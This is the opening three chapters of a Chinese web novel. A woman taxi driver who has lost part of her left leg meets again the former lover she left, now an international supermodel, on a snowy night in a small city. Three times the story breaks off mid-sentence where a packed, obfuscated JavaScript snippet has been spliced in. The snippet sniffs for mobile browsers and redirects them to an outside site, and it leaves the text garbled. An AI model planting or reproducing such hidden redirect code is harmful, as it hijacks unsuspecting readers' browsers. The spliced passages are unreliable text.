《旧雪难融》 1. 「黎无回」 罕见的大雪天,路滑得像融了一地惨白的芝士。 车牌尾号7516的出租车上,某位乘客坐在后排,从上车起心里就发怵—— 这年头残疾人还能跑出租车? 还没把这事想明白呢,突然听到“啪嗒”一声,乘客惊醒——哦,是这残疾司机将左转向灯打开了。 松了口气。乘客目光落到方向盘搭着的那双手上—— 这残疾司机是个女的。 手腕从深色毛衣袖口探出来。 露出来的手背皮肤很白,腕骨和指骨很细很长,十指完整。 至少看上去不像个残疾人。 乘客发誓自己不想搞歧视那一套。 但一上车,她就瞄到了副驾驶后面贴着的司机残疾标识。 第一感觉,可惜了。 上车前她迎面看见了司机的脸,第一印象挺漂亮挺周正一张脸。 与收到短信订单信息中的姓名也相配,叫…… 邱一燃。 但问题是上面标着本车司机五级残疾,到底是哪残疾了? 乘客下意识就再去瞄。从后排这个角度,其实只能看见司机右侧半身—— 一眼望过去,对方很瘦,大雪纷飞的天,穿了厚外套厚毛衣,但看上去还是很瘦,那么厚的衣服穿在身上,都像仅靠着那身骨撑起来。 但全程都坐得端端正正,脊背挺直,双手紧握方向盘,双腿自然搭在座位下。 比那些只会输出吹牛的男司机好多了,车上也干干净净的。 人这不是看着挺好的吗? 乘客越来越为那“五级残疾”感到可惜,目光忍不住再往上移,结果猝不及防,就从后视镜中对上这残疾司机的眼睛—— 那是生得很温存的一双眼睛,睫毛很淡,但又很长。 却偏偏让人想起某种植物,从内往外呈现出某种没有攻击性的丧意。 邱一燃。 乘客再次想起了这个司机的名字,突然又觉得这个名字和这双眼睛不那么相配了。 “酒店就在前面了,在这里停吗?”后视镜中,邱一燃的视线只停留了几秒钟,就礼貌性地移开。 “哦,好。”后排的乘客回过神来,“再往前面些吧。” 邱一燃轻声应下。 正准备往前面开,突然又听到后排传来有些急促的一句—— “等等!你先在这里停一下!” 邱一燃只好将车靠边停下。 车还没停稳,乘客火急火燎地摇下车窗。 扑簌簌的雪从外面撞进来,打着卷儿,糊了她们满身。 寒风刺骨。 邱一燃骤然被呛得禁不住咳嗽起来。 咳嗽带出几口紧促的白气,肺被刺得痛,但更痛的是其他地方,停车得了空闲,她伸手去揉酸痛的左下肢。 冷不丁又听到后面乘客冒出一句, “你认识她吗?” 邱一燃揉下肢的动作倏地顿住。 她不得不抬起头,隔着玻璃,顺着乘客伸出身子往外去拍照的动作去望。 酒店对面,那是整个茫市最高的一栋楼,在街道狭窄的落后小城,称得上是鹤立鸡群。 而就在这栋楼上。 有个横跨二十层楼的巨幅广告位,此时正放映的某个高奢品牌的羽绒服广告—— 镜头推远又拉近,广告中的女人典型的眉压骨凌厉浓颜,天生的亚麻色卷发,大而上翘的狐狸眼。 动作简洁明了,向这座城市敞着那张又冷又媚的脸,仿佛一眼就能贯穿所有经过她的人。 “黎无回,国际超模。”后排乘客拍完照,关了窗,人也缩回了车里, “我朋友特别喜欢她,这栋楼不是刚建起来吗,没想到卖出去的第一个广告位就是她,我得拍张照给我朋友看看。” 从窗外吹进来的寒风停了。 邱一燃的视线也从车窗外收回来,她迟钝地松开揉腿的手,疼痛骤然便像从骨头缝里洇出来似的。 良久,她往自己手掌上哈了口热气,蜷缩着的手指终于能动了,便重新发动了车,摇了摇头, “不太认识。” “不太……认识?”乘客没反应过来——认识就认识,不太认识…… 那到底是认不认识? - 送完这单,天色已经暗沉得像吊满了墨水袋子,邱一燃没拉到几个客人。 只好收了工,去常去的那家饭馆吃饭。 饭馆已经热火朝天,胡子拉碴的男人挤坐在一堆,身上混着烟味和炒菜味。 12元一位随便吃的盒饭,味道好,锅气重,茫市的出租车司机都爱来这吃。 邱一燃自觉自己并不娇气,但只在里面坐了会就昏昏沉沉,胸口闷得喘不过气来。 干脆端着餐盘,拖着自己今天格外胀痛的腿,一瘸一拐地往外走。 外面很冷,寒风像腐烂的冻疮那般弥漫。她走出去,靠在车门边上,掰开筷子,饭菜一出来就已经凉了,咬在嘴里很硬。 她没因此产生什么情绪,只是每口就多嚼几下,然后再去揉自己的腿。不知道是不是因为天气恶劣,她今天腿疼得厉害。 “怎么?”有人从饭馆内推门出来,声音飘到她面前,“腿又疼了?” 是卫子柯。和她一样,也是个出租车司机,和她关系算是比较近。 “你说你这腿,穿鞋穿得不合适要疼,冬天太冷了要疼,下雨了要痛风,多走几步就得多揉揉,否则……否则那啥就还磨得疼……” 卫子柯说着就坐到她旁边来。 视线在她腿上停留两秒就收回,像是不敢多看下去似的。 给她递了个热水袋,叹一口气,“就没想过做个别的营生?” 邱一燃接过卫子柯的热水袋。 使了些力道,按在长裤外自己快要疼到麻痹的小腿上,好脾气地抬头笑笑,“也做过别的。” “哎我刚灌的热水,你别这么用力按,烫!烫!”眼见着邱一燃捏热水袋的手指关节都发白,卫子柯连忙伸手去拉她。 “不碍事。”邱一燃躲开了,没听卫子柯的劝告,反而又将热水袋在小腿上按得更紧了些。 热水的烫瞬间跃过橡胶和布料,灼到她小腿上,反而像在剐去她被损耗掉的皮肉。 “多烫一烫,”她笑着对发愣的卫子柯解释,“就没那么疼了。” 卫子柯哑口无言。 她知道自己犟不过邱一燃。 这个人虽然身体不好,以至于看上去总是显得丧气和疲倦,一副好说话的表情。 但实际十分倔强,谁也说不听。 沉默了一会。 卫子柯看邱一燃被热水袋和长裤捂紧的小腿,又看她费力地嚼着冻硬的米饭,还有那餐盘上凝结的红油。 再去看对面那栋熠熠生辉的大楼,静了良久,突然出了声, “你说像那种人,是不是这辈子都不会活成我们这样,稀里糊涂的有一天算一天?” 听到卫子柯这样说,邱一燃在风中仰头。 寒风扑面,夜灯闪烁。 风将她的头发吹散在雪夜中,她又看见整个茫市最高的那栋楼。 那栋楼有多高呢? 不知具体数字,只知是别市投资商的大手笔,只知她高到整个小小的茫市,不管走到哪,都能看到。 今天邱一燃开车经过无数次。 也总是能看到广告里的女人穿着高档的羽绒服,反反复复地俯视着经过她的每一个人。 无论在哪里,都看得到。 “你就说那广告里的女模特,超模,这种人还会有什么烦恼啊?”卫子柯注视了一会,自娱自乐式地说, “那超模腿疼了,肯定不会像我们这样抠抠搜搜地用个热水袋敷吧?小病小痛也肯定都会有很多人围着嘘寒问暖吧?” 邱一燃没搭话,低眉顺眼地按着热水袋,烫感的确有压过疼痛的效用。 “也不知道超模平时都吃些什么,”卫子柯说完扒了口饭,差点没吐出来,于是又一抹嘴巴,很嫌弃地说, “反正是不会在大冬天吃被冻硬了的米饭。” 热水袋终究还是凉了,痛感缓慢而剧烈地释放出来,使得邱一燃神思飘忽。 她速度很慢地嚼几口发硬的米饭,揉着自己的腿,后面都没再说话。 也没再抬头看那广告里的超模。 - 和卫子柯吃完饭,邱一燃开车回了自己的住处。 外面还在下雪,车停在临街楼下,她习惯性地返头去后排,查看有没有乘客遗落的物品。 结果还真在前后排夹层摸到一本杂志。 费力拿出来后。 她盯着杂志的封面人物好一会,那是张怼大脸的封面照,经典的伦勃朗光,连女人唇上那颗不起眼的小痣都被拍得清清楚楚。 邱一燃轻轻拂了拂上面的灰和粘到的雪泥,今天下雪,不少乘客上车就带着雪,这会已经融化了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592122|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂志不少地方已经被濡湿。 邱一燃拿出纸巾,仔细擦过每一页的融化水渍,擦到某一页时她的目光停下来。 这是杂志对黎无回的专访。 一共有十七个问题,中英双语,销量极高的高端杂志,黎无回的专访占据了极大的篇幅。这一页的问题已经是第十二个—— 【Q12:你会怀念过去的自己吗?】 【黎无回:怀念?我觉得这个词太珍贵了,不是所有人都有资格怀念的。我就是没有资格去怀念的那一个。而且到最后,任何人,任何事,都是需要move on的。】 很标准、却也很真实的答案。看得出来这个人很清醒,不会沉溺过去。 邱一燃的目光不由自主地往下滑,停在了尾页的下一个问题上—— 【Q13:那之前Ian那件事呢,现在你也完全move on 了吗?】 她手指顿住,细微地颤动着。 第十三个问题提出后,这一页却没有答案。最底行标有提示,黎无回对这个问题的作答在另一页。 邱一燃阖了下眼,没有往后翻,而是将杂志放在了副驾驶。 她住的是临街商铺上的出租屋,冬季深夜寒冷得阴森。 这会马路上已经没什么人影。 只隐隐约约,有个影子在公交站牌后面徘徊,被光影盖住,很不起眼。 邱一燃坐在车里,盯着那个影子发了会呆。 打开车门,她听到临街KTV里传来的声音,撕心裂肺的女声瞬间溢满她的耳朵。 ——“在很久很久以前,你拥有我,我拥有你。” 邱一燃左腿吃力地撑在地面上,好似踩在刻骨的冰刀子上,钻心的疼痛又从小腿处传上来。 她去后备箱拿了双拐。 撑在又湿又滑的路面上,没有停留也没有侧目,径直略过了那个公交站牌下的影子。 ——“在很久很久以前,你离开我,去远空翱翔。” 邱一燃走上二楼,将双拐靠在墙边,撸起左脚裤腿,很生硬地撸到膝盖上。 膝盖以下的细金属杆露了出来。 这是一截假肢。 她盯着看了好一会。 麻木地将接收腔从自己腿上拆下来,残肢便光明正大地敞了出来—— 只到小腿二分之一长度。 整条残肢皮肤都很粗糙,红肿,擦破了皮,似乎还因为天冷受冻产生炎症,肌肉萎缩成小团,像吞噬空气而蠕动着的虫。 任何人日日夜夜对着这截残肢都会觉得可怖。 连邱一燃自己也不例外。 她紧紧盯着,嘴唇抿得发白。 年久的出租屋从来都阴冷。 像坚硬颗粒疯狂钻进骨缝中,没盖住的膝盖逐渐泛起了鸡皮疙瘩。 邱一燃深深呼出一口气。 放下假肢去开灯,结果一个踉跄—— 没能站稳,天旋地转间她直接摔在床边。假肢和拐杖都被她撞落,也横七竖八地滚落到地面。 等她回过神来时,自己已经倒在冰冷阴干的地面上。 邱一燃有些没缓过来。 木讷地转了转刺得发疼的眼珠子,发现自己视野正朝着出租屋那扇破破烂烂的窗户。 也是凑巧,下一秒她就眼睁睁看见一颗石子从楼下被扔进来。 叮铃哐啷地,砸到窗框上,最后从她的假肢旁边滚落,狠狠砸向金属支撑杆,似乎要将上面刻的那句话砸得七零八落—— /Ian,You’re here,I’m here/ /Ian,我会永远在你身边/ 邱一燃木然盯着这句话。 楼下KTV中,嚎天动地的女声不知疲倦地唱着那句——“在很久很久以前,你拥有我,我拥有你。” 啪嗒。 又有一颗石子从楼下被砸了进来。 黑暗中邱一燃像被拍打上岸的某种海底生物蜷缩在地面,看着自己呼出一口又一口的白气,看着一颗又一颗的石子砸落进来。 最后她干脆阖紧眼皮,不去听,也不去看。 即便她知道那是黎无回。 那个五年前初见时就光明正大欺骗她利用她,三年半前却又在她截肢后痛不欲生时抱紧她、在她颈间淌满眼泪、在她假肢上刻上那句情真意切的话…… 以及此时此刻出现在她出租屋楼下、朝这扇破窗户一颗又一颗地砸石子的…… 不该再来见她的人。 2. 「黎无回」 起因是在三个月前,邱一燃遇见了个怪事。 每到晚上,就有人往楼上扔石子。 她住的出租屋是在半开发的住宅区中,最靠外的那栋楼。 一楼是商铺卖纸钱卖棺材卖爆竹,还有个二十四小时开业的KTV,总是有不同的声音唱着撕心裂肺的情歌,二三四楼是租户。 二楼租金最便宜,因为底下是个纸钱店。 她就住在二楼。 一开始她以为是临街附近的叛逆小孩,而自己上楼下楼也都不怎么方便,便没去管。 直到后来连续几天。 都有零星几颗石子扔上来,有的扔得很准,能正好砸在她窗框上,有的扔不准,但还是能砸得窗户下面丁零当啷响。 她便撑着拐杖下楼去看。 但她下楼动作慢,等到了楼下,又没能抓得到人。 第二天她收工晚,决定守株待兔。 但奇怪的是,她不想抓人的时候,做怪事的人天天来。 等她想看看到底是什么怪人了,却又等一晚上都没能等到人。 而恰好也就是从那一天起,她二楼那扇破了没修的窗户,再没有石子被扔上来。 她以为这件怪事就此作罢。 但没想到,过了一个月,怪事又出现了。 这次她推开窗户往下看,看到了个模模糊糊的影子。 看得出来是个女人。 这次女人没逃,没避开,就站在对面那间夜巴黎旅馆下,隔着一条窄马路直直望她,像是故意在等她出来似的。 可也就那么几秒钟,很快便一晃而过。 等她杵着拐杖匆匆忙忙地赶下去—— 马路对面就是一片空,只剩下夜巴黎那盏灯在闪烁。 那次她站在那盏灯下怔了许久,险些误以为那是一个不该再来见她的人。 也让她觉得自己多可笑,那个女人怎么会出现在这里? 这里是茫市,是座街道狭窄的小城,纵然贯穿全程的出租车公司叫梦巴黎,纵然大街小巷中随处可见叫作“水巴黎”“夜巴黎”的旅馆酒店……于是因此被戏称为“假巴黎”,但终究不过是廉价的山寨品。 而那个人,只会在真的巴黎。 但她没想到,真的是她以为的那个人。 不记得是从哪天起,她开始在心底确认,站在出租屋楼下朝她住处那扇破窗户扔石子的人……一定就是黎无回。 不记得是从哪天起,扔石子的女人不躲了,不逃了,甚至站得更近了。 她不知道黎无回到底是怎么找到她,也不知道黎无回为什么要出现。 每一次,邱一燃都会捂紧耳朵不去听不去看。 但她偶尔不小心瞄到。 总是能看到黎无回被风拂乱的发,漫不经心的目光,毫无血色的薄唇。 站在楼下,只是那样看着她。 不跟她说一句话,也不做其他任何事。只是慢慢悠悠地朝她窗户扔石子。 到了深夜,夜巴黎门口总是开一盏橙黄霓虹灯,色彩饱和度很高,晕到空气中像是整轮橙色太阳。 黎无回有时整个人都被罩在其中,像个一碰就会飘得远远的影子。 黎无回眉骨鼻骨生得立体,轮廓美得浓烈又凌厉,只要稍微上一点妆都会显得很浓,光源和阴影总是能在她脸上找到最合适的位置。 邱一燃对此感触最深。 二十五岁以前的冬季她们总在巴黎度过,温带海洋气候舒适宜居。 记忆中她们做完之后,也总是开一盏这样暖黄色调的光,胸口贴后背地挤在那张狭窄沙发床上拥抱,侧躺着盖同一条羊绒毯。 每一次,邱一燃都十分迷恋地用手指去描摹黄调光影在女人轮廓中留下的印记,热,凉,触感极为奇妙。 而每一次,女人虽然犯困,但也都会半眯着那双上翘的狐狸眼,配合她的无聊举措。 有时实在被她惹烦了,就会扯她脚踝挠她痒痒,等她笑得受不住了。 女人就会从身后很紧很紧地抱她,长而蓬软的卷发扑到她脸上。 很恶劣地用尖瘦下巴有一下没一下地戳她肩窝,懒洋洋地说, “邱一燃,心平气和接受惩罚的人最了不起。” 有时投影中电影播映到笑点,女人也会在那样的黄调光影中笑得风情万种,白皙肩膀上的细带都微微发颤。 却总是在她没有反应过来笑点之际突然吻她,然而等她想要继续吻下去时,却又将她的脸掰向投影墙,无辜而狡黠地眨睫, “邱一燃,看电影中途不走神的人最最了不起。” 充当惩罚的挠痒痒、中途走神的电影、紧密到骨骼嵌合的拥抱…… 印象中那张沙发发生过许多事,那条羊绒毯总是充溢着两个人的气味。 但那时好像无论发生什么事,好的坏的……她们中间都开着盏黄调灯。 于是后来,邱一燃为那个女人拍的第一组照片,也开着一盏这样的灯。 - “在很久很久以前,你拥有我,我拥有你。”——KTV中残破不堪的女声遥遥飘出来。 此时此刻这个罕见的大雪天,窗外闪烁的也是盏暖黄色的路灯。 出租屋内寒气逼人,地板凉到像是散发着铁锈味。邱一燃蜷缩在地面,静静地望着窗外的雪。 等扔进来的石子声停了。 她展开裤脚,将自己左腿残肢整整齐齐地盖起来,试图用手肘撑着床边站起。 却因为体力不支和身体僵硬,刚用力,一个踉跄—— 再次人仰马翻。 屋内动静颇大,廊前感应灯被震得猛然亮起来。 就在下一秒。 啪嗒—— 停了许久的石子声又出现了。 啪嗒—— 邱一燃微微喘着气,在黑暗中看着自己空落落的裤腿,好久都没能缓过来。 啪嗒—— 廊前感应灯熄灭,楼下的石子扔得越来越急了。 啪嗒—— 黑暗吞噬着呼吸,邱一燃半跪在床边,撑着床十分艰难地站了起来。 啪嗒—— 邱一燃呼吸凌乱地打开灯。 最后一颗石子扔到窗框上,又飞速地落了下去,之后停了。 邱一燃对着窗户发了会呆,截肢后她的情况不算太好,残肢被磨损到疼痛是常有的事,她也总是因为疼痛而思绪变钝。 过了会,她缓过来。 拄着拐杖去了浴室,用滚烫的热水冲过,又上了药之后,她稍微好受些。 关了灯,裹着冰冷的被子缩在了床上。 石子声又出现了。 只扔了一次,扔得很轻,没能扔进来,甚至到墙边就落了回去。 大概是黎无回已经喝醉了。 邱一燃让自己不去理会。 她翻了个身,看到了自己呼吸在空气中飘出的白气,原来已经是这么冷的冬季了。 再翻了个身,她看见窗外飘飘洒洒的雪,鹅毛片,比她刚刚回来时变得更大。 她紧紧闭上眼睛。 突然——马路边传来酒瓶砸碎在地面的声音。 接着,是几道破口大骂的声线,混杂在一起,听不清到底在说什么,但从语气能听得清,是几个醉汉,嘴里还在用方言骂着些什么。 第二个酒瓶砸碎的时候,那几道声线变得更加激烈—— 邱一燃突然翻身从床上起来。 拿起放在床边的双拐,踏出出租屋,冷风扑面,楼道高耸恐怖。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592123|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着双拐,在地面杵响声控灯,然后艰难地踏下每一层阶梯。 每一次,邱一燃都试图不去听不去看。 可每一次,邱一燃也都会忍不住,拎起旧外套,慢吞吞地撑着拐杖下楼。 捡起女人随意扔在路旁的高跟鞋和包,送喝得摇摇晃晃的女人上出租车。 直到这一次—— 茫市的冬季下了大雪,气温降至零度以下,邱一燃蹒跚着来到楼下。 入目就是满目惨白的雪。 以及满地狼藉的绿酒瓶碎片,洒在雪地上的淋漓鲜血,触目惊心。 以及熙熙攘攘围在树下争执吵闹的一群人,有男有女,正围着正中间的那个人谩骂些什么。 汗水一刹那间就被逼出来,从背脊上滑落成最可怖的虫痕。 雪落到鼻尖上,发着刺骨的凉。 邱一燃呼吸急促。 雪地里发出紧迫的沙沙声,她奋力杵着拐杖,身后却陡然传来一道声音, “Ian。” 音量不算大,却足以刺破所有嘈杂,灌到她耳朵里。 那一瞬间所有汗液都倒流。 冷却下来,粘稠地淌在发烫的后背,将邱一燃的所有感知能力都凝结。 她喊她Ian。 这个很久都没有人喊过的符号,截肢后邱一燃不再喜欢的符号。 但她一出现,就将她躲到这里再也不提的符号脱口而出。 邱一燃知道她是故意的。但她没理由责怪她。 这个女人就是有那么直来直往,从不轻易满足任何人想要避讳伤口的愿望。 远处的争执似乎失了声,有警车赶过来,变成一出荒诞默剧。 身后的黎无回没有继续往她这边走,声音却很清晰, “你不打算回头看看我?” 这就是三年后她对她说的第一句话。 邱一燃佝偻起来的残肢僵得发疼,撑在双拐上的手指关节用力到发麻。 她不回头。 却在空气中闻到了反转巴黎的气味。 气味总是先于大脑感知记忆。印象中这个女人也很喜欢喷这款香水。 其实这是一款甜调的果香香水,但对方总是喷得很少,于是淡而不俗,飘到鼻子里的味道很轻很轻,却又莫名的,混着点自带的发香,能让人记得很久很久。 过去这么久,她还是没有换香水。 “邱一燃。” 雪夜中,黎无回第二次在身后喊她,换了称呼,靠近了些,也听不出是什么语气, “你不想知道我到底有没有受伤吗?” 黎无回说话语速通常会比较快,夹杂着冷调,通常没什么感情,像巴黎的雪。 邱一燃还是回了头,于是她得以看清,那真的是黎无回。 站在雪地里,在飘摇的雪中注视着她,完整无缺没有受伤,生着能将她刺得鲜血淋漓的一张脸,能让她眼睛也跟着发疼的…… “黎无回。” 邱一燃呼出一口气,完全不知道自己到底是用怎样的语气喊出这个名字。 也没有力气去看黎无回听到这声称呼的表情。 而黎无回在一声不轻不重的笑之后,静了两秒钟,语速突然变得极慢极轻, “你别这么喊我。” 夜班巴士冷白车灯划过,公交站牌上滑过最新的羽绒服广告,像这场对峙终于拉开序幕。 站牌内的黎无回红唇黑发,笑容冷媚,性感到无边无际。 站牌外的女人停在飘摇雪幕中,脸庞被光源分割得七零八落,遥遥看她, “我根本不叫黎无回。” 女人眸中冷意浓厚,映出她们之间没有人可以忽略的事实, “最清楚这件事的人,不是你吗?” 3. 「黎无回」 黎无回是后来取的艺名,她本名叫黎春风。 初次听见这个名字,是在二零一九年的圣诞节,她们的自我介绍环节来得比较迟——她说她叫邱一燃,她说她叫黎春风。 她眨眨眼,说邱一燃这个名字很好听,因为刚刚好,她喜欢连名字都像会愿意为爱孤注一掷的女人。 她笑得不行,说黎春风这个名字也很好听,刚刚好,她喜欢名字听起来温暖可靠的女人。 女人笑眯了仍旧洇着醉意的狐狸眼,说原来我们从名字开始就很相配。 春风一燃。 不轰轰烈烈爱一场,那也太可惜了。 “黎小姐。” 二零二四年,雪下得似乎比那年还要大,或许曾经的邱一燃从未想过有一天自己会这样称呼这个女人。 但这件事还是发生了。 她阖上眼皮,不去看黎无回对此有何反应,“雪下大了,你该回去了。” 话落,她毫不留恋地转身,双手用力地撑着拐杖往回走。 她像个逃兵,哪怕手中唯一的武器是她窘迫混沌的根源,但除此之外她无计可施。 “邱一燃。” 黎无回在她身后喊她,仍旧听不出是什么语气。 这次邱一燃并没有理会,甚至越走越急,脚边扬起的雪尘越来越多。 但人着急了平衡就没掌握好,于是走了几步就一个踉跄,差点摔倒之际—— 雪尘飞扬,一双手牢牢地扶住了她。 女人将手心搭在她的手背上,帮她撑住慌乱之际差点失衡的拐杖。 而她第一感觉是触目惊心的凉,像个死去很久的人。 但等她自己站稳之后。 那双冰凉彻骨的手便松开了,安静地垂在腰间。 她们都不说话,空气中只剩下呼吸声。 没有任何一个人想要率先开口,尤其是在这个难堪的小插曲后。 “你的假肢呢?”直到邱一燃手上残余的体温消失,黎无回才再次出了声。 这个问题原本很亲密,适合发生在关系亲近的人之间。 可按照她们如今对彼此生活没有任何参与度的关系,听上去就很像是质问。 纵然黎无回故意将声音放轻了些。 “不舒服,刚刚取了。”邱一燃垂眼,注视着自己右脚鞋尖上粘着的碎雪。 以及黎无回两只高帮靴上粘着的雪。 “你……”黎无回似乎是还想顺着往下说些什么。 “我要回去了。”邱一燃打断了她的话。 她闷着步子往前走。 却看见刚刚争执的那一片人已经散开,有几个人被抓走,有几个围在一起看热闹的往这边走过来,嘴里似乎还在热火朝天地讨论着些什么…… 几个人中有个人指着公交站牌上的黎无回说了一句什么话,于是一伙人齐刷刷地往她们这边看了过来—— 和那伙人的目光对上,邱一燃停住脚步,下意识地返过身,想去提醒黎无回。 却也在那时重新撞上黎无回的视线。 黎无回模特出身,身高出众,而她也差不了几厘米。 两个人视线总是一平齐,就像击剑运动员手中的剑那般交锋。 “邱一燃。”大雪纷飞的夜,黎无回定定地注视着她,“你送我回去吧。” 其实邱一燃完全不想要面对清醒的黎无回。三年前分开时她警告自己既然已经决定就不要心软,于是最后那一面几乎耗尽她所有的力气。 她那时候没想过自己会再见到黎无回。 雪夜因为那一伙人将黎无回认出而变得重新嘈杂起来。 邱一燃压低声音,没有答应黎无回的要求,“有人走过来了,你快回去吧。” 话刚落下,就听见身后嘈杂的脚步声在往这边靠近。 黎无回显然也发现了,第一反应是倾身往邱一燃这边走过来,“你先过来。” 而雪天路滑。 邱一燃走路不便,走了几步差点又滑倒。霎时间她脱口而出, “你别过来!” 于是黎无回真的没有走过来。 她在离她几步远时,就像是突然想起什么,硬生生地在原地驻足。 天旋地转间—— 邱一燃用尽力气将两边拐杖插进厚雪中,才勉强站稳。 站稳后她短促地舒了口气。 再抬头时,便对上那双直直盯着她,几乎要将她贯穿的眼。 幸好,幸好。 黎无回没有像刚刚那样过来扶她,也没有再一次像个救世主那般降临拯救她的狼狈。 而是定在原地。 隔着雪幕寂静地望着她,也没有问她什么。 此刻邱一燃连脊背都在颤抖,她几乎是在用全身力气撑着两边的拐杖。 但她莫名觉得,在这种时候,黎无回比她更像那个被沉重压着的弱者。 窒闷的对峙没能持续太久,等那群人快走过来之际。 黎无回才又低着脸。 从站牌后拐去了邱一燃那辆黄色出租车停的位置,站在副驾驶车门边。 再抬头,遥遥地望着她,像示弱,像请求, “邱一燃,我开不了车。” - 在车上氛围比想象中安静。 只不过上车时,黎无回看到了邱一燃之前放在副驾驶的杂志—— 封面人物是黎无回的那本杂志。 邱一燃后悔几个小时前将它随手放在副驾驶,但如今被黎无回看到,她也只能说, “客人的遗留物。” 或许是她的解释比提问还要来得快。 黎无回听了,只是淡淡地“嗯”了一声,不知道有没有信。 停了很久,才又说了一句,“这个采访中有人向我提起你的事。” 邱一燃没想到黎无回会这么直截了当地说出来,毫不避讳。 以至于她的沉默反而显得像是她在为这件事而心神不宁,“我知道。” “你知道?”黎无回反问,却又很快自己回答了,“你看过了。” “擦的时候不小心看到了。”邱一燃没否认,“客人的杂志湿了,我总要替她擦干净再还给她。” “那你看完了吗?” “擦到的地方就看了,没擦的地方就没看。” “你看到我说什么了?” “……还没有。” 黎无回不说话了。 车内瞬间只有雨刮器的声音在响,邱一燃以为她睡着了。 黎无回一喝多了酒就会睡觉,不管在哪里都会直接倒头就睡,倒是不发酒疯。 “你刚刚在楼上怎么了?” 等车拐过路口后,黎无回的声音重新出现,却已经带了几分勉强支撑的醉意。 邱一燃直视着前方车辆的尾灯,慢半拍地反应过来,“什么怎么了?” 黎无回没有给她回答。 直到碰上红灯,邱一燃才意识到对方已经许久没有动静,去看副驾驶。 正好车停在个宽敞的路口,对远处那栋高楼上的广告位一览无遗。 那本杂志被放在了车前。 黎无回双手抱臂,头靠着窗,紧紧闭着眼,凌厉冷艳的五官被远处巨幅广告中闪烁的光源模糊得晦暗不明,像梦。 远一点像梦,近一点也像梦。 红灯停了,车灯游离。邱一燃移开目光,重新发动车,车辆驶出去。 她听见旁边的黎无回突然吐出一个字, “灯。” 什么灯? 邱一燃差点又踩了刹车。 然而车已经开了起来,她不敢分心再去看黎无回。 黎无回比刚刚清醒了些,但仍旧语速缓慢,“你上去后一直没有开灯,之后过了两三分钟,你门口的感应灯突然亮了,但你屋子里的灯还是黑的……” 邱一燃放在方向盘上的手指僵了僵。 “邱一燃,我怕你再出事。” 黎无回的声音再次飘过来,清晰分明地传到耳边。 然而下一秒,那个忽远忽近的梦终于醒了。 因为邱一燃听到她轻笑一声,用轻到不能再轻的声音,拽着人回到那个最残忍的现实, “可我又实在恨你。” 邱一燃握紧手中方向盘,指关节泛着白。她还是像从她们见面起表现得那样,不看黎无回,看路,看路上的车灯。 仿佛这世上所有的细枝末节,在她这里都比黎无回更值得关心。 黎无回却盯紧邱一燃的侧脸。 头部的晕沉使她视野模糊,但她还是能看清邱一燃右眼角下那颗泪痣。 印象中她在动情时尤其喜欢亲吻这颗泪痣,因为邱一燃总会在那时落泪。 以前——因为她从未见过如此感性的人,所以每次都会笑弯着眼捧邱一燃的脸,试图分辨出邱一燃为什么要哭。 此刻——她们一个坐在驾驶座,一个坐在副驾驶,中间隔着游离的车灯和滞闷的空气,而她也还是试图分辨出邱一燃在想什么。 以前——邱一燃总是将侧脸贴紧她掌心脉络,紧闭双眼始终不看她,睫毛却都被泪水打湿。 此刻——邱一燃也始终直视前方,始终不看她一眼,睫毛被黑沉的阴影盖住。 某种意义上,从前现在都一样——她在看她,也知道邱一燃知道她在看她。 邱一燃很久都没有说话,郁气沉沉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592124|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸被高密度的车灯切割得四分五落。 等过了这个路口,才很轻很轻地说出一句, “还有一段路,你睡会吧。” 黎无回闭上眼,笑了一声。 看来才过去三年不到,邱一燃就已经忘了,她喝了酒直接睡觉会犯偏头痛。 - 等黎无回再醒来时,车就已经到了她住的酒店楼下。 已经是很深很深的夜,路口人来人往。直到黎无回下车,邱一燃都始终维持沉默,后续都没有再开口说话。 和她见面后,强撑着开了一路的车,邱一燃似乎是已经累极了。 甚至等黎无回刚下车。 她就迫不及待地开走了车,在原地扬起一片残留的雪尘,连短暂客套的告别都没有。 黎无回倒是看了邱一燃不止一眼。 她不知道自己到底想从邱一燃眼中看到什么。 但再次看到她的那一瞬间,她就知道纵然过去这么久,邱一燃仍然认为当初执意要离开她的选择最正确不过。 或许连一秒钟都从来没有过怀疑。 邱一燃一向如此,说是一意孤行也好,倔强傲气也好。这一点还是没有变。 尽管她现在已经是黎无回了。 雪没有停,黎无回到酒店房间,她住的楼层很高,足以俯视整座城市。 她没有开灯,站在窗前,看着远处高楼上自己的身影反复播映。 她不知道邱一燃每次看到后作何感想,但她自己并没有为此感到很多开心和愉快。 然后她打通了梦巴黎出租车公司电话。 接通后,夜班值班接线员问她是否需要派单。她停了半晌,说, “我想知道车牌尾号7516的司机,是什么时候来你们公司的?她这期间一直没有离开过吗?” 